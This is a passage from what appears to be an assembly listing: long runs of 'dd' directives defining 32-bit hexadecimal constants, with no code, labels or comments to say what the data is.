		dd 65B4ED6Bh, 85A4965Fh, 3D84AB3Ch, 8B17A8ABh, 3D29D7F8h
		dd 561A125Fh, 34571265h, 7C89BEC4h, 89AEA904h, 202BC5EDh
		dd 0B43FBB37h, 60D112F0h, 2CDB005h, 0B403ECCAh,	6EE9611Bh
		dd 17191148h, 75076F7Dh, 44044E49h, 22EDC6C1h, 2B85212Eh
		dd 4F4AC7BDh, 878185C5h, 51FDD91Ch, 0FB8B742Eh,	35B56346h
		dd 36E931CDh, 2ED88B1Dh, 0ECC28B34h, 81C92E09h,	0D8648F5Ch
		dd 168A96B8h, 0A6C28B58h, 95E50B5Eh, 8DB65F12h,	8090407Fh
		dd 6A58CB17h, 87C69BFBh, 0A611C9A2h, 0DA8B11D1h, 0A9931281h
		dd 865C25CAh, 4FEA7F5Bh, 0B9340769h, 56D6B9C4h,	201702F4h
		dd 0AE37696Fh, 0D52C845Ch, 0B6770890h, 0FDFEDC55h, 0CE1D7300h
		dd 854C9C5Eh, 16EF0481h, 0AC47B41Fh, 7B57943Ah,	0F1426089h
		dd 0E6871DFh, 90C002CBh, 0F21EE52Ch, 8F2BC317h,	0D214EB1Dh
		dd 0CFF825E6h, 631AE47Ah, 92D298A8h, 0F552D14h,	0AAC10A6Dh
		dd 0C13ACA83h, 23505EFh, 1444578Bh, 0BD0B6105h,	0F2FD22F9h
		dd 0B94A7D3Bh, 3D85C20Dh, 0FEF80426h, 0FBA4868Ah, 50A0C09Ch
		dd 4BDEA0B9h, 0A0AB8AF8h, 9548BE7h, 6ECAB287h, 0CFD10C89h
		dd 75B9B362h, 14D9EAE5h, 0ABA2FC18h, 9D0A5455h,	0B802929Dh
		dd 2959E25Ah, 0B6B3256h, 0D5EA421Ch, 1491A9B5h,	225C9589h
		dd 1B8600F4h, 0AF65460Eh, 8825CAFCh, 0B75582C0h, 537F5CF8h
		dd 91F258DCh, 2C79528h,	0CF04BF0Bh, 676040ABh, 0EF2D80BAh
		dd 0C0E6931Eh, 738CD71h, 0BE1AC69Ch, 745F401Bh,	0EA1262EEh
		dd 5AE26722h, 0E9044585h, 19BE864h, 0FE54348Eh,	31606584h
		dd 72122BE6h, 0F380AF9Bh, 223B3FA7h, 54C64E12h,	0D3698DE1h
		dd 0FA094FB8h, 82871517h, 5707E1E4h, 1B83118h, 602EC887h
		dd 7F1EC877h, 0EFEE82B5h, 5F60F536h, 0B595672Bh, 8017917Ch
		dd 0D137B2C2h, 0B9135EB7h, 0ADA9D237h, 2E816FA9h, 8105256Dh
		dd 51435B1h, 0EE36C5ABh, 0B7C56535h, 2203946Fh,	54680A82h
		dd 5E153CA0h, 51FD95Ch,	481B4966h, 64ADC309h, 5DC382F7h
		dd 6BFBBA99h, 4C7BF78Ah, 0DE3951BFh, 52E0756Eh,	5B616053h
		dd 7383C09Dh, 381720F9h, 71B78B70h, 0BCF12582h,	0EBD43500h
		dd 0F0A23E5h, 0EF3E478Fh, 34600520h, 0FE716E16h, 1FCC0E4Ah
		dd 4A803C9h, 17730F2Dh,	0D7BD8E0h, 24AC600Eh, 0EAA60244h
		dd 0B1C1DD0Eh, 0BF4E5089h, 5B317339h, 0BDB78478h, 0F939C56Bh
		dd 0A5B84Ch, 0E65AB1BCh, 0CAB3658Bh, 50ED4595h,	0EE006635h
		dd 0BDA29BFCh, 97F57DA5h, 16917BB5h, 0C750429Fh, 7756B529h
		dd 2ACAE989h, 70203B2h,	0F515A2EDh, 952E6ACCh, 56A5B0E1h
		dd 1746D6CBh, 0A6C8AF00h, 0E9850122h, 0B7E72C4Ah, 3A6B884Eh
		dd 170BD700h, 9493237Ch, 128E026h, 0BA99B7B3h, 2F15F8D9h
		dd 830F7231h, 0EDAD257Bh, 0BE28003Bh, 769E2399h, 43730C7Bh
		dd 8DD689C5h, 73037925h, 0B50CBFB6h, 460D2965h,	86DB045Ah
		dd 0C7FDB580h, 0C813C66Ah, 0F9C5B807h, 609DC0BBh, 50771DFCh
		dd 24DC3E9Ch, 25C634EDh
		dd 7C52D656h, 6D05D421h, 9B9EAED1h, 0FEADC0AEh,	0C5170C68h
		dd 0D3E836EAh, 82000289h, 9BD9EF39h, 790CA901h,	60D6A4ADh
		dd 0FDE677C6h, 9BC0B500h, 8E149D26h, 3BD4791Fh,	61A72F24h
		dd 0F382EE5Eh, 6036F5C6h, 9522F179h, 1479EE73h,	233A9318h
		dd 8FD0DA9Dh, 0BD50DF8Bh, 71D86973h, 57DB0207h,	398D2934h
		dd 0BF3F4450h, 144B12EDh, 0E62AF329h, 0AA50A004h, 479A4811h
		dd 381CC911h, 903A09Dh,	5FF95161h, 0D3EBF571h, 0A84050DBh
		dd 5FB6C501h, 624793E4h, 0E1D282Eh, 0C9BF00E1h,	6208094Dh
		dd 0F9641FE9h, 0C731D525h, 51255CD0h, 70D0535Fh, 60172C7Dh
		dd 81B214D5h, 0D1D48B00h, 0B5FBDA57h, 0C1150104h, 0E1B8D8AFh
		dd 77042AA1h, 1001B15Ch, 0E4385AD1h, 25C1625Eh,	65A19CD7h
		dd 0AAF965F1h, 200B0962h, 29EEDD61h, 4864A801h,	0CEF08732h
		dd 0B226A66Bh, 1284C1Ah, 0F45940A5h, 7A3F5443h,	561F880Bh
		dd 15BCEC97h, 0C19C144Bh, 0B2A5F829h, 8A961745h, 798E97F8h
		dd 67719BDBh, 234E6B2Fh, 5C970118h, 2E64E0ACh, 4C609533h
		dd 66805AD2h, 61C255BEh, 929574A6h, 8174577Eh, 0B7675849h
		dd 0A262F238h, 0FD1C3E01h, 1A520168h, 0B77E86E1h, 40513A8Ah
		dd 31B51201h, 4E3DE609h, 59A0FBA6h, 62024E46h, 74D8878Ah
		dd 0FFFC61A1h, 0ED3F132Eh, 136B8C0h, 9975820Fh,	2EF5DD68h
		dd 33564030h, 0A6D2B7BDh, 0C1AD5F5Eh, 8ACFCAC1h, 0BAED0543h
		dd 9E2FE141h, 0FBBDC12Ch, 0DCF4C466h, 175ABC95h, 0C5CC5663h
		dd 0B16FFE91h, 121E850Bh, 6282B27Fh, 8CC37DE8h,	720C11C2h
		dd 0ED1713F6h, 0B74FF461h, 21FB545Fh, 14FA8BBDh, 8C16AF13h
		dd 4E02076Fh, 168F0F5Dh, 452FDCD1h, 9AD50028h, 0AF5AA0DAh
		dd 9D4E5B09h, 0CBD5748Ch, 8E004051h, 8F8592FDh,	80EF4C88h
		dd 0C39D0FC0h, 8A00C43Ch, 696C2C29h, 955B5E46h,	0CDBC09CEh
		dd 4EA900D4h, 0B9E55903h, 1497904Ch, 98D2BD75h,	9DC2F9Eh
		dd 96CACCC1h, 322DA7F6h, 93D10F6Ch, 7B0061F2h, 2FF5896Eh
		dd 545175DFh, 9AEC7FD9h, 2E9661A1h, 8AAB42C4h, 0C7BF0265h
		dd 5C7C43DBh, 780369AFh, 0D7B0121h, 1EE1654Fh, 0A9B4B23Ah
		dd 0BA019529h, 70528C58h, 3B9D6B61h, 7EA91829h,	292B88E1h
		dd 13AB2BEDh, 80ABDB19h, 3E49F038h, 960805F9h, 0B8917928h
		dd 5C2312B4h, 0A6D315B9h, 18D2A020h, 27EF97C6h,	529DAC40h
		dd 0CB94DD1Eh, 795C0FD6h, 0E0A10E5Dh, 0CA7A5160h, 6D045CA6h
		dd 621B589h, 7F3D60EAh,	1D00106Bh, 3916199Dh, 9CB76AEh
		dd 0F1E99832h, 5627615Ch, 503725DDh, 0BC75B700h, 2DADBB61h
		dd 0ED5E8A1Eh, 6B309FD6h, 4858616Bh, 15B50025h,	32BB663Fh
		dd 9BF4BFE4h, 0A4FED8C5h, 442FCF48h, 194C4D3h, 0DF596D07h
		dd 45FCD87Fh, 2A9E08F4h, 7C985B1Ah, 4D101043h, 86947B17h
		dd 783A25DEh, 2BE34340h, 0D17BEF2Dh, 50B700BCh,	9AE082D0h
		dd 0C1F8709Fh, 0BC65E7B0h, 0D97405Bh, 789BAE22h, 65EBF7D2h
		dd 35FA8B93h, 0FE073F66h, 14D3AB09h, 5EC6A712h,	27782D3Bh
		dd 9F902340h, 1D7E3390h, 0D1FE6B00h, 0A46F25D9h, 76DB3E08h
		dd 0EF376002h, 0AFDEE6D7h, 35166D40h, 0FE9217ECh, 461CAF3Ah
		dd 4DCB90D4h, 0CB8107C0h, 0DE79161Eh, 8C50DE12h, 344B79DBh
		dd 13661FDCh, 0AE195BBFh, 1423826Bh, 9EA36113h,	0F6E6A151h
		dd 0C6D1988Dh, 84BB3DBh, 0A12220CAh, 9D035112h,	42FCB1AAh
		dd 2DCD022Eh, 53139EE0h, 38DB95FCh, 0FB5FDC16h,	60855F50h
		dd 4A248E61h, 0A69396B8h, 0E268E262h, 9D379BFh,	8F7DD8BFh
		dd 61F99657h, 3F8C1ABCh, 8D80A331h, 807A8894h, 0E92574EFh
		dd 0C28F71E1h, 0D2082217h, 570D3909h, 0E4346330h, 2ADE1612h
		dd 0ABB4C7BDh, 0BFB68B75h, 86CADAA0h, 9C140A95h, 76B98A47h
		dd 914B0FEBh, 9AA212h, 4AF1C575h, 48C385Dh, 0D8E3F668h
		dd 0EB89915Bh, 43622FEAh, 6B235EFCh, 0AFDE3775h, 53641AD4h
		dd 0BB9222BCh, 0CD00886Fh, 0ECC59E90h, 0BC5A1602h, 6028FB8Dh
		dd 473F4D2Eh, 23464BDh,	0CDFF6A61h, 4A48E068h, 2200B6DEh
		dd 0ECF10F7Bh, 5F9A20BFh, 1281BCAFh, 7ABF2409h,	0D8F6126Ch
		dd 0B510B3F0h, 0A10E5C5h, 25207694h, 0E2F38101h, 0B0599D6Bh
		dd 0A438C77Fh, 70E6040Ch, 1D4C41BCh, 870FCF0Bh,	61D64C18h
		dd 0AF307B95h, 8100D071h, 0A980041Dh, 1846008Bh, 63214F23h
		dd 0D325BC7Fh, 91F2C017h, 0F58B821Ah, 0C8B67E60h, 65952912h
		dd 4BCDB6BBh, 0F85E97B2h, 755C81E5h, 0EC606953h, 0A1B51201h
		dd 5A60E233h, 19845BBCh, 0DF803108h, 50E855CEh,	9084207Dh
		dd 2D992DC5h, 23556DA5h, 7D0B6C9Eh, 8B43CF80h, 136356BAh
		dd 915E1450h, 0C0CBCE3Ch, 899D2338h, 658B0CE7h,	0AE166DD9h
		dd 0B028E237h, 0E9FA8040h, 29133864h, 0E292EBADh, 0DEBF1239h
		dd 20222DF2h, 0ECFB8B25h, 0ED70C62Bh, 9551CD07h, 0A1332058h
		dd 30BC344Ah, 3A0C3A1h,	0BEC04A2Bh, 0BE6FF94h, 0E5B5F7E0h
		dd 6C1A0D26h, 0B2CD329Bh, 0B314D7B9h, 134690BDh, 0F01F000Ah
		dd 48ED0D36h, 0FE782825h, 0DB805700h, 0B95B5F2Ah, 5C9EAAA6h
		dd 7E372726h, 1B929414h, 0B29B3335h, 4B5A50B9h,	42B6EFCh
		dd 3106A45Dh, 46213982h, 0C02B2E45h, 0F23ADE7Ch, 0DC6A82CEh
		dd 5EC0B323h, 0EB810F49h, 4B7B7249h, 76B5D569h,	0D9F2123Fh
		dd 752A08FCh, 9AB32CD8h, 0E301DE82h, 59BB3D3Ah,	93B84ADh
		dd 407B0AA3h, 7E5843Fh,	0E3F60F28h, 2915884Bh, 1F759D12h
		dd 66ED9EB8h, 7BE3B2C2h, 2DD0706Fh, 8F2CA370h, 0FB0B1FDDh
		dd 98A68052h, 952E2953h, 0EDCBEC73h, 0CA88409Dh, 92E4072Ch
		dd 0AFE83E4Ah, 0E8F88BC4h, 0B83C478h, 3CE08120h, 3DFC0217h
		dd 0AB4A9AB9h, 0F19D6330h, 0CCDD8229h, 61BD1609h, 0D257B812h
		dd 0A66AEFh, 1FB5D142h,	29C65F5h, 9D01D67Dh, 0C7550E35h
		dd 40A211ECh, 46124CA4h, 35F20E61h, 0BD04AA85h,	6DE8BFh
		dd 0BBF19121h, 23496CE6h, 6A229497h, 0DE7F6343h, 9707D19Dh
		dd 63F6A0F0h, 102B5058h, 5B251725h, 45A3757h, 0BCFB2137h
		dd 0FA6E4B4Ah, 0A8769A12h, 1210808Ah, 7A1BA56Bh, 382D2467h
		dd 15D0416h, 9D93C0EDh,	558213C5h, 0FB957758h, 0AF807BA7h
		dd 2125BD01h, 445DE61Dh, 0FD1CBB14h, 41670851h,	8B6A0E96h
		dd 0FDA64AEFh, 5FD54DA0h, 7A46CD04h, 0E7AA7519h, 59AFF078h
		dd 50F809E9h, 12D5DDB3h, 0DAFD648Fh, 22C4C456h,	7E296025h
		dd 0B5C94E9Eh, 618016F4h, 0E6DE2068h, 0BF6612ACh, 0E041AABEh
		dd 533825DFh, 11E55889h, 57E5B854h, 674120BBh, 0AE1289E9h
		dd 0FEB2C86h, 102CF95Bh, 97005E1Fh, 1518F866h, 1CC33382h
		dd 841B747Ah, 0AF6E639Ah, 0F22537ECh, 7F65156h,	0A643BE92h
		dd 88C2617Bh, 12B02E48h, 9E025B12h, 48009F43h, 952189D2h
		dd 8AA012B2h, 34B9E3DDh, 0B6AC66F5h, 9391B3D2h,	990015E6h
		dd 7D702E98h, 2092442h,	0D7E4B11Eh, 0FC15432h, 44C4141Dh
		dd 0E95D95BBh, 942ABD5Ch, 820AADFh, 39750D4h, 0F0EB4178h
		dd 0F0016522h, 0A6C17A5Eh, 0D3236259h, 0ED80273Ah, 9D5BB442h
		dd 0D008237h, 4F03D01h,	228D09B5h, 5B491ED9h, 34BE929Ah
		dd 5AD3ACF1h, 0E6B0EF81h, 49807A78h, 7A839A14h,	4D603401h
		dd 50645880h, 2FFAB62Eh, 0E6BF08DEh, 3F2000DEh,	1EDDD13Ah
		dd 0F84A817Ah, 13DE8EB9h, 939AA2D9h, 91BB5EC5h,	81058261h
		dd 93C5BB21h, 153D1BDCh, 0C890F51h, 17E96160h, 9DA62B8Bh
		dd 6C95126h, 215F9828h
		dd 0E9BC57E0h, 0AEAA9740h, 11F57561h, 112E9C7h,	7A0C94E1h
		dd 7B79E347h, 0DB1059C0h, 22E35BFEh, 0C0BC4E93h, 0F056E64Bh
		dd 2D7EDF52h, 7710CE2Fh, 71029414h, 259E70B9h, 2D045EAEh
		dd 2BE07574h, 0DAE0C2h,	0DE476F9Eh, 9A925069h, 0FA901131h
		dd 0FF2B4151h, 49BBF113h, 4B1A31B4h, 0BD0590B6h, 5EBEAAC7h
		dd 82B29C16h, 0DB78A100h, 9061F786h, 0D4A64B99h, 70F6A700h
		dd 4E287B95h, 0DF69B064h, 32F95B5Ah, 699FE3C7h,	7087735Dh
		dd 0E82501DEh, 6A3ADCE4h, 0DA509E1h, 257BFF5Ch,	12C7D12Ch
		dd 7BFE4292h, 0FE56046Ah, 8120860Fh, 6601BBF3h,	9D2B3355h
		dd 0E9012031h, 60238929h, 4908F68Bh, 2128118Eh,	5C20C7A5h
		dd 8E4DD3AAh, 83A3B6E0h, 8BE9720Dh, 0E699DBE0h,	0FAA7C800h
		dd 7B32943Fh, 20155AFFh, 7CEBED8Fh, 638B700h, 2D7BB8D0h
		dd 95AA12ECh, 9BA5BB6Dh, 139282Eh, 37B70470h, 6E0D83A8h
		dd 16BA716Bh, 921AE60h,	0CDE22291h, 813D5F03h, 635F0B00h
		dd 4A9CF9Dh, 0D78090C8h, 0B071C5AFh, 539D21AFh,	181A71AEh
		dd 6CC800F5h, 0D0695EE5h, 0BA9773B3h, 50AE5B74h, 0F19789B7h
		dd 0FA6225A4h, 4BF65774h, 3F84CDF2h, 8D493AC3h,	84894F83h
		dd 6B53255Fh, 0B1E3027Ah, 0D7955721h, 30A108C0h, 889997F5h
		dd 68ADD929h, 2A8845CCh, 0A5B1BCE7h, 0AE207AF5h, 229A3B17h
		dd 2940D6C0h, 0B098975Fh, 3D21B509h, 0ABF84526h, 18C999DAh
		dd 857B5430h, 2ADFDE12h, 33B5F1h, 7C51482Dh, 0BF07E84Fh
		dd 1885E50Eh, 0FCBE3521h, 97A37B5Bh, 0A001B64Bh, 5A1FB685h
		dd 2FCAB28Ch, 0BA8471A6h, 0C15F782h, 0BA5E61E4h, 0B194906Bh
		dd 4C8B00FFh, 3F942A4Ah, 700ED08Eh, 0C91A76EFh,	0B5C77845h
		dd 0D76093CFh, 14B2C715h, 0D863380Ah, 5E4E125h,	472BB04h
		dd 438457D1h, 0A4F8F1EDh, 0ACE6F55Ah, 4A55F25Fh, 0EF50E5C2h
		dd 0FD2EC0E6h, 19B060F2h, 59B97427h, 0EE8100EEh, 0FDAD48E5h
		dd 3DEE30F5h, 8E33DF04h, 70AFD0BCh, 0F8CFEF65h,	0EEE8B325h
		dd 935BD8Ch, 368F9300h,	17A557D2h, 12F2134Fh, 0DA68AB02h
		dd 0F72EE155h, 4EA4A023h, 89A91290h, 6485BF95h,	0C9BFAA90h
		dd 2DE2B545h, 4DEF5FCh,	41DD92A5h, 3928A916h, 0E3F95AB7h
		dd 0AB1F09C4h, 0B560DC9Ch, 92F7E46h, 0B6F05A9Dh, 30572520h
		dd 336C3826h, 1B821A1h,	0AD9AEEDDh, 0E3019C9h, 0DD171F8Dh
		dd 0F9BC4D0Ch, 0AF24E116h, 95262038h, 2FDEC411h, 28306735h
		dd 9F73F13h, 2ECCE5EAh,	95451480h, 0DC13DBFEh, 67F9C622h
		dd 4B295D10h, 9748408Bh, 58EBC0DEh, 5BF5D4E9h, 0F32415E8h
		dd 0C112FCFFh, 50A20BAh, 58003743h, 35101395h, 71609246h
		dd 8C344BFBh, 0DB0A80FFh, 0FD5090D3h, 3B02442Dh, 0E100E2BAh
		dd 537D3364h, 1814AA51h, 16B3FC77h, 0F6E10E9Eh,	67350E89h
		dd 0B70B8BD5h, 0C22D0636h, 224EF489h, 5ED79CB8h, 0F9FB277Eh
		dd 76F0A78h, 3DF0ECB3h,	0D0FCE129h, 34E84231h, 961E8508h
		dd 0D97AAE52h, 78233303h, 53B01A7Dh, 0B725909Fh, 22E3C444h
		dd 51B501A1h, 1E50978Fh, 77B38983h, 0D5EA9AFFh,	6242676Fh
		dd 48C6827Bh, 0D5594064h, 2329A033h, 0C7D25BDh,	0B280D1CEh
		dd 73B51E21h, 1B92B755h, 0D19704DCh, 20E73EA6h,	620EBF36h
		dd 0F43ECA06h, 4A9AA04Eh, 0C8F7E35Dh, 8D298553h, 298A475h
		dd 2309AF96h, 60530165h, 0EB2BD68Bh, 51AEA235h,	41BCE2B4h
		dd 0ED431B00h, 0F05AF32Eh, 0DD99A13Bh, 3A8292Eh, 0C109C199h
		dd 710CFAE9h, 31A06289h, 0DE5A0Ah, 9D17B2E2h, 45F5FF1Bh
		dd 7E488F2Ch, 5F1E4909h, 0D1794FFBh, 7D60E0F7h,	9AF84BF2h
		dd 0C017C8B8h, 80AD1DE0h, 0B9888B4Bh, 5CB32A50h, 0B86002C5h
		dd 21821A09h, 61FC41F5h, 0E669EA2Ah, 0C8E0FE76h, 0A01C3D31h
		dd 123B7A67h, 528035BDh, 128BD381h, 0E51519E9h,	0E8C069B5h
		dd 0A13B00D4h, 0CF98F0E1h, 0FF496A7Ah, 2AFCBD8Bh, 736D01D1h
		dd 2445480Dh, 44203B3Fh, 0CEAC82h, 0EF570C5Fh, 0DA8B9AF7h
		dd 0A9099396h, 53BD750Dh, 0AFEE6B00h, 9A87FEFh,	1CDE30EAh
		dd 0FA16B073h, 6D0023A7h, 0B09C02C2h, 2A1E1BE2h, 0B30F65FBh
		dd 7E843A52h, 3F734116h, 1D86E497h, 0D089E300h,	5FF652A5h
		dd 8E7058E6h, 71E4DB02h, 0BB5C0DB3h, 344AC291h,	58A1AC81h
		dd 43B35AEFh, 0C15CB04Ah, 99693690h, 958F58B1h,	0B4028989h
		dd 56092679h, 0C11788C7h, 0FAC425h, 2A816E43h, 44C77799h
		dd 8641853Ch, 7CE95FFCh, 9DC19525h, 0D5851232h,	6049FE80h
		dd 712A7BBh, 32A34DCEh,	43804C76h, 9BA0B1D2h, 820CD9BEh
		dd 91965CF5h, 78A04B0Eh, 40E98006h, 0DA4D11B5h,	0BA95342Eh
		dd 222B668Dh, 5B292898h, 0B19D8496h, 86B7362Ch,	0D17B9FE5h
		dd 0F29EDE8Eh, 690BA0E6h, 3775ADB0h, 0D898802Bh, 870FE8FFh
		dd 104EA93h, 0C6E1219Dh, 4F59E37Bh, 0D380C5B8h,	0B526433Eh
		dd 4C86CE02h, 0D50F2077h, 0CCC942CDh, 0F0C20040h, 7D309FB3h
		dd 90978B82h, 0EE6CF0h,	81DCD02Ah, 6AA4C188h, 6178500h
		dd 9BDC4C5h, 4ED1599Dh,	0B23BC5Eh, 89B970B0h, 951907Ch
		dd 4FCFA417h, 7B6907FCh, 66896B20h, 2B89BF5Ch, 92D937C0h
		dd 0F77500A9h, 7CB6D0A4h, 0F52F5028h, 3CAE7F95h, 162A59C4h
		dd 0F29372ACh, 0BCADB42Ah, 0A9A0FDB4h, 48B48DF8h, 4E7159FCh
		dd 0E8B2AD25h, 726409DAh, 51CF880Dh, 0AF300160h, 6B7815D1h
		dd 0BB13CC8Bh, 0F36BAE2Ah, 70391523h, 0D9F2C48Ch, 0BDEFB81Eh
		dd 0DB5B566Ch, 576581BDh, 0AF44A0Eh, 0CD14977Ah, 0F77B855Bh
		dd 44047825h, 66E9AF95h, 80A57DB9h, 354BBE4Ah, 0E0B8048Fh
		dd 0B8F95F70h, 259DD1DAh, 96CEC61Ch, 0F803D431h, 0A1D575Ah
		dd 9DC42E79h, 0AEC11394h, 4ABABA3Ch, 0E823A903h, 47100955h
		dd 0ED17819h, 0ED279A20h, 3550A414h, 8DC6F3AAh,	0FA9E6F97h
		dd 2A5CE50Dh, 0BA154E71h, 40B1F82h, 0E06BA660h,	14C29E97h
		dd 0F7A65595h, 248E8865h, 5ABFACECh, 7B09106Eh,	0A5709753h
		dd 6DEC02B5h, 89865C62h, 4DE016Fh, 0D13112F4h, 0FE34BB0Ah
		dd 0AE4217EBh, 0DEB7B261h, 0B89E66Ah, 730A7DBDh, 89CD00ABh
		dd 0F4CAA0AAh, 719F7A16h, 90CE49EFh, 0CB79195Fh, 0CB560h
		dd 9F1D0AD9h, 9651C7FAh, 5B211700h, 0A52882C8h,	0B3520450h
		dd 0EF310FC3h, 0CAD32320h, 62461305h, 8E04EA12h, 0D7E2505Fh
		dd 1D027E3Dh, 8A0F0C6Fh, 22444D8Bh, 9074F901h, 0D2635E5Fh
		dd 27BAFD3h, 7C078D20h,	52EC02Dh, 0C5002822h, 0BDAD0836h
		dd 2358B96h, 23C6E381h,	80FE3903h, 120D5826h, 0FF200882h
		dd 0AEB20B68h, 0ADA9AA70h, 4D3DCF58h, 8793F255h, 0E478D878h
		dd 216405DFh, 0BBC0EFEAh, 5F7DE709h, 35A5FFE5h,	6F830531h
		dd 0CD7A9192h, 5DB6B02h, 0F3C01BC8h, 98769DFh, 954214F1h
		dd 0BDC1E7D6h, 0C1040CF9h, 10351F1h, 6A2447E9h,	276D0BBFh
		dd 0B2D760FAh, 0A5D210D2h, 0FA7B0E0Fh, 2460AAABh, 857086BAh
		dd 0DEEF0997h, 63FEF690h, 0DCDA74Bh, 0CB7F03Bh,	0B7FFCEB5h
		dd 0A2B7C018h, 518952h,	4977BBE3h, 49412FBh, 407C46A7h
		dd 89B09916h, 712821FCh, 6DB709B8h, 67A698FFh, 48EC004Bh
		dd 3E2379AAh, 76F20193h, 8098B324h, 65BB6000h, 1D7D539Dh
		dd 4BE7BA66h, 0BC379661h, 5FA2A889h, 8995DF94h,	0F6905CBBh
		dd 20D48C00h, 0E0B4E368h, 98C92DDh, 223E4F1Ch, 0A4005B71h
		dd 6F11992Ch, 32912310h, 0DE8E9019h, 0E4F37Fh, 21F04046h
		dd 5A48013Eh, 0DA41C229h
		dd 0C00CFD1h, 0A686D859h, 0DBFB1380h, 0F22BBBBh, 0BD026861h
		dd 0A6214829h, 0C55204A5h, 2610B16h, 0F50EB13Ah, 14560112h
		dd 87095578h, 4B761491h, 8FEA38Bh, 0BE21E9F9h, 2A419D0Bh
		dd 4077D656h, 844018BBh, 0F1F6735Ah, 0B3FD64E0h, 0FA916B51h
		dd 62BB6621h, 51C856CEh, 0B77CD2C1h, 933601F4h,	0B63307D9h
		dd 17D14BADh, 0C67B0392h, 7F5D3B03h, 7B9838F6h,	0F55AA68Ah
		dd 257616B6h, 18D53499h, 17BCF24h, 0FD2453BAh, 0C49A1520h
		dd 85E07989h, 0A8993502h, 56DE69B4h, 0AA9869B6h, 4500172Ah
		dd 0B02CED69h, 9401D2h,	0C4CEE3ECh, 0C9A72D4Ch,	0F9AE8412h
		dd 82E564ABh, 29FDBDACh, 0E2A398CBh, 84192D4Bh,	0C508A6D6h
		dd 615A092Ch, 5089AC59h, 9683275Fh, 0B2BA2E69h,	2FAAE3EEh
		dd 0A744FE95h, 46D61F56h, 0BAB21F17h, 72B83797h, 8A978C4Ah
		dd 125CF858h, 99B70D05h, 5912293Eh, 852DAB03h, 92F4DA6Eh
		dd 6EB64A20h, 8E3C4D5Eh, 60918D4Ah, 9132F7D1h, 62D30A0Bh
		dd 0AE8651A7h, 0AD24269Ah, 0BFF65454h, 918C30D3h, 127E7A71h
		dd 0B06F3558h, 8C560F8Dh, 28A54EC7h, 5A3FA72Ah,	0FE01716Ah
		dd 80FACEA1h, 8917628Fh, 0B57D58D8h, 0F805F3Dh,	125F741Eh
		dd 9BE350F0h, 601A5F21h, 95A6D5F5h, 61F8D173h, 5ED61E00h
		dd 350E6854h, 38909DD4h, 5717BC63h, 0F99E671Fh,	95486C84h
		dd 879EEB62h, 0E3F1C5C5h, 0BF500771h, 0D96AFCE0h, 0FB24340Bh
		dd 0F5FB70B7h, 174FE90Eh, 0BE5C8510h, 8CAB5625h, 44028AB0h
		dd 4DDE831Eh, 60A2565Fh, 3A7CC781h, 6F767B25h, 0F850217Eh
		dd 68E066EFh, 0B84A2A04h, 47842215h, 0A84E70FDh, 4B503A59h
		dd 7AE028B6h, 112F88B1h, 0DDEF8B68h, 8AB46114h,	797B4625h
		dd 0AF730266h, 29658D01h, 46DEE65Eh, 3D7D0417h,	6BAEEE14h
		dd 0B15230Fh, 160230B8h, 8656208Dh, 8A44BC73h, 0F9E6AAFEh
		dd 1F3830A4h, 0BD2A318Dh, 395CAF9h, 84EF8094h, 0EEB591ACh
		dd 2EE9EF02h, 0AF8856F4h, 637010F3h, 6AF912C0h,	8A028898h
		dd 0E7E6BE50h, 9FB5E0Ch, 9F3F028Dh, 69E1A8E3h, 0B36F0713h
		dd 0EBB7AD17h, 789B02A0h, 150C0505h, 838C1AAEh,	0CF8A00BAh
		dd 0EF8156DCh, 271424FAh, 10B65E7Bh, 8D4123CDh,	8018503Dh
		dd 0B501386Bh, 5C7415Ah, 227D9D61h, 92A773Fh, 3F6F25Ch
		dd 510FDB1Fh, 0CAF0EF2Eh, 0B093F80h, 100201B5h,	0B7282564h
		dd 0FBD04E7Bh, 0F7609A3h, 38F90A89h, 9712F312h,	611294E9h
		dd 81AA44B4h, 6E7AAE32h, 0BF5B3150h, 8B801AFBh,	93F4EBC0h
		dd 0E48800F2h, 88A5655h, 291C97C8h, 0FDDD2EA2h,	2C3D3283h
		dd 0F03FD86Dh, 9402001Eh, 0D1B378FCh, 300ABA0h,	0E0012613h
		dd 0F04167D0h, 0A4CB0021h, 0F1F5E84Fh, 2B002AA8h, 9AD0C9B4h
		dd 258D4Eh, 0F60342CEh,	0CD7C61D5h, 2B0F7179h, 1F66C92Eh
		dd 8C0222C0h, 0F0269BEEh, 0CF953B47h, 8B2F7000h, 4A5C23A4h
		dd 3E4B5B03h, 31FEEC9h,	0E647E020h, 310E7927h, 60581E96h
		dd 0CBB90BFFh, 80366F7h, 0B700218Bh, 0C84A5816h, 60BE1ACEh
		dd 2B447099h, 88CFA8B2h, 87028480h, 0E76CF04h, 7D1783A5h
		dd 0EF1100CCh, 46ED84CEh, 993363BAh, 0D2094Eh, 84C68F21h
		dd 72986F67h, 7C7E6500h, 0DCA27F08h, 446806CCh,	70CA9A13h
		dd 0FD4AB838h, 15682383h, 6484D00Eh, 0D662CA46h, 84C88D21h
		dd 3151F4h, 75700AE7h, 1FFD16D2h, 0CFFF4103h, 0F98AFC6h
		dd 3997B5C9h, 9A8B1EA0h, 9CC1643h, 0D521B0h, 0FF64399Fh
		dd 90527965h, 219D9105h, 0B4013820h, 6A0B5A94h,	8701C040h
		dd 643B0080h, 412554BEh, 0DD1C2A86h, 72C0A7F5h,	89C12C16h
		dd 0E4A10307h, 43C35BEh, 702AD299h, 5BE86BAEh, 7288330Eh
		dd 6EF1E01Eh, 0CCE9377Fh, 0A8218209h, 0D31E7A00h, 0A2BCD84Ch
		dd 6ABF0819h, 0F3806EB8h, 1124E49Fh, 0B6220C2Ch, 0BC68264Dh
		dd 38204368h, 37C465Ch,	0CCB7F3ADh, 5C580430h, 135D5AEh
		dd 2228AF2Fh, 0C03018B4h, 25AE84BEh, 9F6779C1h,	209F1764h
		dd 37150CE6h, 0DC20BF19h, 33C50601h, 415EC2B9h,	2B6A7B00h
		dd 8C7FE473h, 77DC332Eh, 21007208h, 862B629Ch, 17E1A1A4h
		dd 0DA18A3h, 1D306126h,	9A006DF7h, 0CC5B406Eh, 0C088BFFDh
		dd 0D81BA110h, 1F00805Ch, 997BED5Ah, 7DADB7h, 90A9C061h
		dd 25C5107Fh, 0F9F46200h, 80CEB4D6h, 0F52E3BB8h, 0F79E9801h
		dd 0D0851021h, 647D7850h, 0FB819300h, 37C3423h,	8E08CC3Bh
		dd 2603C321h, 0F0D8FF93h, 0B897F844h, 84712069h, 377C6F00h
		dd 4FA65CB2h, 1F0672FDh, 0C311D1B7h, 5BF646Ch, 0DBF05DFBh
		dd 0B2C050F9h, 98A9BD74h, 7856035Eh, 8F20EEB8h,	7F303876h
		dd 7F15888h, 0D134003Ah, 84DD628Ah, 56005CF8h, 182C557Bh
